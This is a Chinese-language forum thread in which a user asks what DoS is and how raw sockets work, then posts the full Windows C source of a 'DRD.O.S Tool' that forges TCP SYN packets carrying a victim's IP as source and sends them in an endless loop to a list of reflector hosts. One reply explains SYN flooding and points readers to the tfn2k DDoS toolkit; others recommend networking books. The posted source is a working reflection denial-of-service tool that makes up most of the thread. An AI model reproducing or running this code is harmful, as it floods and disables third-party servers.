关于DOS与原始套接口的问题

GG_MM

请哪位兄弟讲讲 DOS 的作用与原理  ,   以及对原始套接口操作时的一些要点

windflowers1976

你确定你真的需要DOS下的RAW SOCKET ？

GG_MM

我所说的DOS不是操作系统MS-DOS，是叫做D.O.S的一种手段
近来有朋友要帮忙看一段程序，大致内容如下：
1 构建原始套接口
2 构建IP , TCP 头部 <IP源地址与目标地址，端口自定义>;
3 发送包

我不知道他为什么这么做，有什么作用，只是隐约记得有资料上写过这种手段
叫D.O.S , 现在问题是我能不能在他发的包后加上我还需要发送的数据，目标IP
能不能收到<假设目标IP的端口上有一个LISTEN，能不能建立起TCP握手？>;
我看了<UNIX网络编程卷一>;，但是没有找到答案

win_hate

Denial of Service

灰色轨迹

源码可不可以给我一份？wuzb@technodia.com.cn

也许是一个SYN Flood，或者别的源码呢

ayazero

用虚假的原地址发送syn包，所以被攻击的一方不能完成三次握手，而这些未能马上处理的TCP连接一直排在OS内核栈的等待队列里直至超时，导致连接耗尽，正常的通信却被排在门外，只要持续发送syn，对方就几乎处于哑的状态。

google-->;key word-->; tfn2k.tgz
packetstormsecurity.nl上好像有的，自己去找找吧

GG_MM

代码贴出来,读的一个叫"IPLIST.TXT"的文件确定对方IP,此文件无需贴出
VC写的,发送的IP ,TCP头部与经典的DOS似乎一样,为什么要叫做DRDOS呢?

1. ///////////////////////////////////////////////////////
   
2. ///               DRD.O.S Tool
   
3. ///             http://www.safechina.net                     
   
4. ///             Written by CDrea                    
   
5. ///                2003-01-31                       
   
6. ///                                                
   
7. ///  If u add some function, Please give me a copy  
   
8. ///  mailto: rose_raiden@hotmail.com               
   
9. ///////////////////////////////////////////////////////
   
10. 
    
11. #include <stdio.h>;
    
12. #include <string.h>;
    
13. #include <Winsock2.h>;
    
14. #include <Ws2tcpip.h>;
    
15. #pragma comment(lib,"ws2_32")
    
16. #define HOST_LEN 15
    
17. #define SEQ 0x28376839
    
18. #define TCP_SERVER_PORT 80
    
19. #define FAKE_PORT 80
    
20. #define STATUS_FAILED 0xFFFF
    
21. 
    
22. 
    
23. 
    
24. typedef struct  _iphdr
    
25. {
    
26.         unsigned char   h_lenver;
    
27.         unsigned char   tos;
    
28.         unsigned short  total_len;
    
29.         unsigned short  ident;
    
30.         unsigned short  frag_and_flags;
    
31.         unsigned char   ttl;
    
32.         unsigned char   proto;
    
33.         unsigned short  checksum;
    
34.         unsigned int    sourceIP;
    
35.         unsigned int    destIP;
    
36. }IP_HEADER, * PIP_HEADER;
    
37. 
    
38. typedef struct  _tcphdr
    
39. {
    
40.         unsigned short  th_sport;
    
41.         unsigned short  th_dport;
    
42.         unsigned int    th_seq;
    
43.         unsigned int    th_ack;
    
44.         unsigned char   th_lenres;
    
45.         unsigned char   th_flag;
    
46.         unsigned short  th_win;
    
47.         unsigned short  th_sum;
    
48.         unsigned short  th_urp;
    
49. }TCP_HEADER, * PTCP_HEADER;
    
50. 
    
51. struct
    
52. {
    
53.         unsigned long   saddr;
    
54.         unsigned long   daddr;
    
55.         char            mbz;
    
56.         char            ptcl;
    
57.         unsigned short  tcpl;
    
58. }psd_header;
    
59. 
    
60. int SendThread(int argc, char * argv[], char * destIp);
    
61. void Usage(char *);
    
62. void GetCMD(int argc, char * argv[]);
    
63. USHORT checksum(USHORT * buffer, int size);
    
64. 
    
65. int main(int argc, char * argv[])
    
66. {
    
67.         WSADATA wsaData;
    
68.         int     ErrorCode;
    
69.        
    
70.         if(argc < 2 || argc >; 6)
    
71.         {
    
72.                 Usage(argv[0]);
    
73.                 ExitProcess(STATUS_FAILED);
    
74.         }
    
75.         if((ErrorCode=WSAStartup(MAKEWORD(2, 1), &wsaData))!=0)
    
76.         {
    
77.                 fprintf(stderr, "WSAStartup failed: %d\n", ErrorCode);
    
78.                 ExitProcess(STATUS_FAILED);
    
79.         }
    
80. 
    
81.         ErrorCode = SendThread(argc, argv, argv[1]);
    
82.         if(ErrorCode != 0)
    
83.         {
    
84.                 fprintf(stderr, "Thread failed: %d\n", ErrorCode);
    
85.                 ExitProcess(STATUS_FAILED);
    
86.         }
    
87.         return 0;
    
88. }
    
89. 
    
90. int SendThread(int argc, char * argv[], char * destIP)
    
91. {
    
92.         int     TimeOut=2000, ErrorCode, flag, i=0;       
    
93.         char    SendBuff[128];
    
94.         char    HostName[HOST_LEN];
    
95.         char    ch;
    
96.         FILE *  fp;
    
97.         SOCKET  SendSock;
    
98.         struct sockaddr_in  DestAddr;
    
99.         IP_HEADER  IpHeader;
    
100.         TCP_HEADER TcpHeader;
     
101. 
     
102.         if((fp=fopen("iplist.txt", "r")) == NULL)
     
103.         {
     
104.                 printf("Error: File not found!\n");
     
105.                 return -1;
     
106.         }
     
107.         SendSock = WSASocket(AF_INET, SOCK_RAW, IPPROTO_RAW, NULL, 0, WSA_FLAG_OVERLAPPED);
     
108.         if(SendSock == INVALID_SOCKET)
     
109.         {
     
110.                 fprintf(stderr, "socket failed: %d\n", GetLastError());
     
111.                 ExitProcess(STATUS_FAILED);
     
112.         }
     
113. 
     
114.         flag = true;
     
115.         ErrorCode = setsockopt(SendSock, IPPROTO_IP, IP_HDRINCL, (char *)&flag, sizeof(int));
     
116.         if(ErrorCode == SOCKET_ERROR)
     
117.         {
     
118.                 fprintf(stderr, "set IP_HDRINCL failed: %d\n", GetLastError());
     
119.                 ExitProcess(STATUS_FAILED);
     
120.         }
     
121. 
     
122.         __try
     
123.         {
     
124.                 if(argc >; 4)
     
125.                         TimeOut = atoi(argv[3]);
     
126.                 ErrorCode = setsockopt(SendSock, SOL_SOCKET, SO_SNDTIMEO, (char *)&TimeOut,
     
127.                         sizeof(TimeOut));
     
128.                 if(ErrorCode == SOCKET_ERROR)
     
129.                 {
     
130.                         fprintf(stderr, "set TimeOut failed: %d\n", GetLastError());
     
131.                         __leave;
     
132.                 }
     
133.        
     
134.                 DestAddr.sin_family = AF_INET;
     
135. //                DestAddr.sin_addr.s_addr = inet_addr(SERVER);
     
136.                 if(argc >; 3)
     
137.                         DestAddr.sin_port = htons(atoi(argv[3]));
     
138.                 else
     
139.                         DestAddr.sin_port = htons(TCP_SERVER_PORT);
     
140. 
     
141.                 IpHeader.h_lenver = (4<<4 | sizeof(IpHeader)/sizeof(unsigned long));
     
142.                 IpHeader.tos = 0;
     
143.                 IpHeader.total_len = htons(sizeof(IP_HEADER) + sizeof(TCP_HEADER));
     
144.                 IpHeader.ident = 1;
     
145.                 IpHeader.frag_and_flags = 0;
     
146.                 IpHeader.ttl = 128;
     
147.                 IpHeader.proto = IPPROTO_TCP;
     
148.                 IpHeader.checksum = 0;
     
149.                 IpHeader.sourceIP = inet_addr(destIP);
     
150.                 IpHeader.destIP = inet_addr("0.0.0.0");
     
151. 
     
152.                 if(argc >; 2)
     
153.                         TcpHeader.th_sport = htons(atoi(argv[2]));
     
154.                 else
     
155.                         TcpHeader.th_sport = htons(FAKE_PORT);
     
156.                 if(argc >; 3)
     
157.                         TcpHeader.th_dport = htons(atoi(argv[3]));
     
158.                 else
     
159.                         TcpHeader.th_dport = htons(TCP_SERVER_PORT);
     
160.                 TcpHeader.th_seq = htonl(SEQ);
     
161.                 TcpHeader.th_ack = 0;
     
162.                 TcpHeader.th_lenres = (sizeof(TCP_HEADER)/4<<4|0);
     
163.                 TcpHeader.th_flag = 2;
     
164.                 TcpHeader.th_win = htons(16384);
     
165.                 TcpHeader.th_urp = 0;
     
166.                 TcpHeader.th_sum = 0;
     
167. 
     
168.                 psd_header.saddr = IpHeader.sourceIP;
     
169.                 psd_header.daddr = IpHeader.destIP;
     
170.                 psd_header.mbz = 0;
     
171.                 psd_header.ptcl = IPPROTO_TCP;
     
172.                 psd_header.tcpl = htons(sizeof(TCP_HEADER));
     
173. 
     
174. /*                memcpy(SendBuff, &psd_header, sizeof(psd_header));
     
175.                 memcpy(SendBuff+sizeof(psd_header), &TcpHeader, sizeof(TCP_HEADER));
     
176.                 TcpHeader.th_sum = checksum((USHORT *)SendBuff, sizeof(psd_header)+sizeof(TcpHeader));
     
177.        
     
178.                 memcpy(SendBuff, &IpHeader, sizeof(IP_HEADER));
     
179.                 memcpy(SendBuff+sizeof(IP_HEADER), &TcpHeader, sizeof(TCP_HEADER));
     
180.                 memset(SendBuff+sizeof(IP_HEADER)+sizeof(TCP_HEADER), 0, 4);
     
181.                 IpHeader.checksum = checksum((USHORT *)SendBuff, sizeof(IP_HEADER)+sizeof(TCP_HEADER));
     
182. 
     
183.                 memcpy(SendBuff, &IpHeader, sizeof(IP_HEADER));
     
184.                 memcpy(SendBuff+sizeof(TCP_HEADER), &TcpHeader, sizeof(TCP_HEADER)); */
     
185.                
     
186.                 printf("Send Packets\n");
     
187.                 int Packets = 0;
     
188. 
     
189.                 ch = fgetc(fp);
     
190.                 GetCMD(argc, argv);
     
191.                 while(1)
     
192.                 {
     
193.                         if(ch == '\n' || ch == EOF)
     
194.                         {
     
195.                                 HostName[i] = '\0';
     
196. // Add your code here-----------------------
     
197.                                 DestAddr.sin_addr.s_addr = inet_addr(HostName);
     
198.                                 IpHeader.destIP = inet_addr(HostName);
     
199.                                 IpHeader.checksum = 0;
     
200.                                 psd_header.daddr = IpHeader.destIP;
     
201.                                 TcpHeader.th_seq = htonl(SEQ);
     
202.                                 TcpHeader.th_sum = 0;
     
203. 
     
204.                                 memcpy(SendBuff, &psd_header, sizeof(psd_header));
     
205.                                 memcpy(SendBuff+sizeof(psd_header), &TcpHeader, sizeof(TCP_HEADER));
     
206.                                 TcpHeader.th_sum = checksum((USHORT *)SendBuff, sizeof(psd_header)+sizeof(TcpHeader));
     
207.        
     
208.                                 memcpy(SendBuff, &IpHeader, sizeof(IP_HEADER));
     
209.                                 memcpy(SendBuff+sizeof(IP_HEADER), &TcpHeader, sizeof(TCP_HEADER));
     
210.                                 memset(SendBuff+sizeof(IP_HEADER)+sizeof(TCP_HEADER), 0, 4);
     
211.                                 IpHeader.checksum = checksum((USHORT *)SendBuff, sizeof(IP_HEADER)+sizeof(TCP_HEADER));
     
212. 
     
213.                                 memcpy(SendBuff, &IpHeader, sizeof(IP_HEADER));
     
214.                                 memcpy(SendBuff+sizeof(TCP_HEADER), &TcpHeader, sizeof(TCP_HEADER));
     
215. 
     
216.                                 Packets++;
     
217.                                 if(Packets == 10240)
     
218.                                 {
     
219.                                         printf(".");
     
220.                                         Packets = 1;
     
221.                                 }
     
222.                                 ErrorCode = sendto(SendSock, SendBuff, sizeof(IP_HEADER)+sizeof(TCP_HEADER), 0,
     
223.                                         (struct sockaddr *)&DestAddr, sizeof(DestAddr));
     
224. //                                printf("->;%s\n", HostName);
     
225. //----------------------------
     
226.                                 i = 0;
     
227.                                 ch = fgetc(fp);
     
228. 
     
229.                                 if(ch == EOF)
     
230.                                 {
     
231. //                                        i = 0;
     
232.                                         rewind(fp);
     
233. //                                        memset(HostName, 0, sizeof(HostName));
     
234.                                 }
     
235.                         }
     
236.                         HostName[i] = ch;
     
237.                                 i++;
     
238.                         ch = fgetc(fp);
     
239.                 }
     
240.         }
     
241.         __finally
     
242.         {
     
243.                 if(SendSock == INVALID_SOCKET)
     
244.                         closesocket(SendSock);
     
245.                 WSACleanup();
     
246.         }
     
247. 
     
248.         return 0;
     
249. }
     
250. 
     
251. USHORT checksum(USHORT *buffer, int size)
     
252. {
     
253.         unsigned long cksum=0;
     
254.     while(size >;1)
     
255.         {
     
256.                 cksum+=*buffer++;
     
257.         size -=sizeof(USHORT);
     
258.     }
     
259.     if(size)
     
260.         {
     
261.                 cksum += *(UCHAR*)buffer;
     
262.         }
     
263.     cksum = (cksum >;>; 16) + (cksum & 0xffff);
     
264.     cksum += (cksum >;>;16);
     
265. 
     
266.         return (USHORT)(~cksum);
     
267. }
     
268. 
     
269. void Usage(char * msg)
     
270. {
     
271.         printf("+-----------------------------+\n");
     
272.         printf("|  DRD.O.S Tool v0.3          |\n");
     
273.         printf("|                             |\n");
     
274.         printf("|  http://www.safechina.net   |\n");
     
275.         printf("+-----------------------------+\n");
     
276.         printf("USAGE:\n");
     
277.         printf("  %s DestIP [DestPort] [TcpServerPort] [TimeOut]\n", msg);
     
278.         printf("EXAMPLE:\n");
     
279.         printf("  %s 192.168.0.1\n", msg);
     
280.         printf("  %s 192.168.0.1 80\n", msg);
     
281.         printf("  %s 192.168.0.1 80 170 \n", msg);
     
282.         printf("  %s 192.168.0.1 80 170 2000\n", msg);
     
283. }
     
284. 
     
285. void GetCMD(int argc, char * argv[])
     
286. {
     
287.         printf("<------------------------>;\n");
     
288.         printf("  Target: %s\n", argv[2]);
     
289.         if(argc >; 3)
     
290.                 printf("  Target Port: %d\n", atoi(argv[3]));
     
291.         if(argc >; 4)
     
292.                 printf("  TCP Server Port: %d\n", atoi(argv[4]));
     
293.         if(argc >; 5)
     
294.                 printf("  Timeout: %d\n", atoi(argv[5]));
     
295.         printf("<------------------------>;\n");
     
296. }
     
297.        
     

复制代码

Searcher

[quote]原帖由 "GG_MM"]请哪位兄弟讲讲 DOS 的作用与原理  ,   以及对原始套接口操作时的一些要点[/quote 发表：

看看Stevens的经典《UNIX网络编程》第一卷吧。

LionD8

呵呵 还是先看 syn_flood 。drdos 也和syn_flood 差不多。就是利用了握手。
要是win32下面的socket看 windows网络编程